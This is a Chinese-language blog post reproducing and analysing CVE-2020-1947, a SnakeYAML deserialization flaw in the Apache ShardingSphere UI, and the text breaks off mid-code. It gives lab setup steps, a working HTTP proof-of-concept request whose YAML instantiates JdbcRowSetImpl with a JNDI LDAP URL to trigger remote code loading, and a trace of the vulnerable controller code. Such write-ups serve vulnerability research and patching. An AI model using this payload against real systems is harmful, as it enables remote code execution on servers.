CVE-2020-1947 Sharding-UI的反序列化复现及分析
potatso 人气:0
## CVE-2020-1947 复现及分析
## 0x01 影响
Apache ShardingSphere < =4.0.0
### 0x02 环境搭建
[incubator-shardingsphere](https://github.com/apache/incubator-shardingsphere) 的ui界面为前后分离,所以搭建环境所需要的工具如下
* [shardingsphere-ui-frontend](https://github.com/apache/incubator-shardingsphere/tree/master/shardingsphere-ui/shardingsphere-ui-frontend) 需要nodejs环境
* [shardingsphere-ui-backend](https://github.com/apache/incubator-shardingsphere/tree/master/shardingsphere-ui/shardingsphere-ui-backend) maven构建环境,idea作为源码调试工具
* 任意版本zookeeper
前端后端没有启动的先后顺序,任意顺序即可。
首先将[shardingsphere-ui-frontend](https://github.com/apache/incubator-shardingsphere/tree/master/shardingsphere-ui/shardingsphere-ui-frontend) 拖入idea,idea会自动通过pom的依赖构建项目,稍等片刻,在`org.apache.shardingsphere.ui.Bootstrap`类运行main函数即可。
前端环境需要nodejs构建,步骤如下
1. 进入`sharding-ui-frontend/`目录;
2. 执行`npm install`;
3. 执行`npm run dev`;
4. 访问`http://localhost:8080/`。
现在就可以访问后台了,用户名与密码皆为admin。为了触发漏洞,需要在后台配置zookeeper。如图
![](http://potatso-1253210846.cos.ap-beijing.myqcloud.com//img20200311101259.png)
### 0x03 POC
登录后台后,发送如下poc
```
POST /api/schema HTTP/1.1
Host: localhost:8089
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token: 替换为自己的
Content-Length: 579
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
```
### 0x04 分析
可以根据poc,可以很明显的发现是shakeyaml引起的反序列化问题。首先找到处理`/api/scheme`的controller。在`org.apache.shardingsphere.ui.web.controller.ShardingSchemaController`处。`addSchema`会处理post请求
```java
/**
* Add schema configuration.
*
* @param shardingSchema sharding schema DTO.
* @return response result
*/
@RequestMapping(value = "", method = RequestMethod.POST)
public ResponseResult addSchema(final @RequestBody ShardingSchemaDTO shardingSchema) {
shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration());
return ResponseResultUtil.success();
}
```
跟入`shardingSchemaService.addSchemaConfiguration`函数。
```java
@Override
public void addSchemaConfiguration(final String schemaName, final String ruleConfiguration, final String dataSourceConfiguration) {
checkSchemaName(schemaName, getAllSchemaNames());
checkRuleConfiguration(ruleConfiguration);
checkDataSourceConfiguration(dataSourceConfiguration);
//... 省略不相关代码
}
```
在`addSchemaConfiguration`中的`checkDataSourceConfiguration`函数会处理`dataSourceConfiguration`。继续跟入
```java
private void checkDataSourceConfiguration(final String configData) {
Map
加载全部内容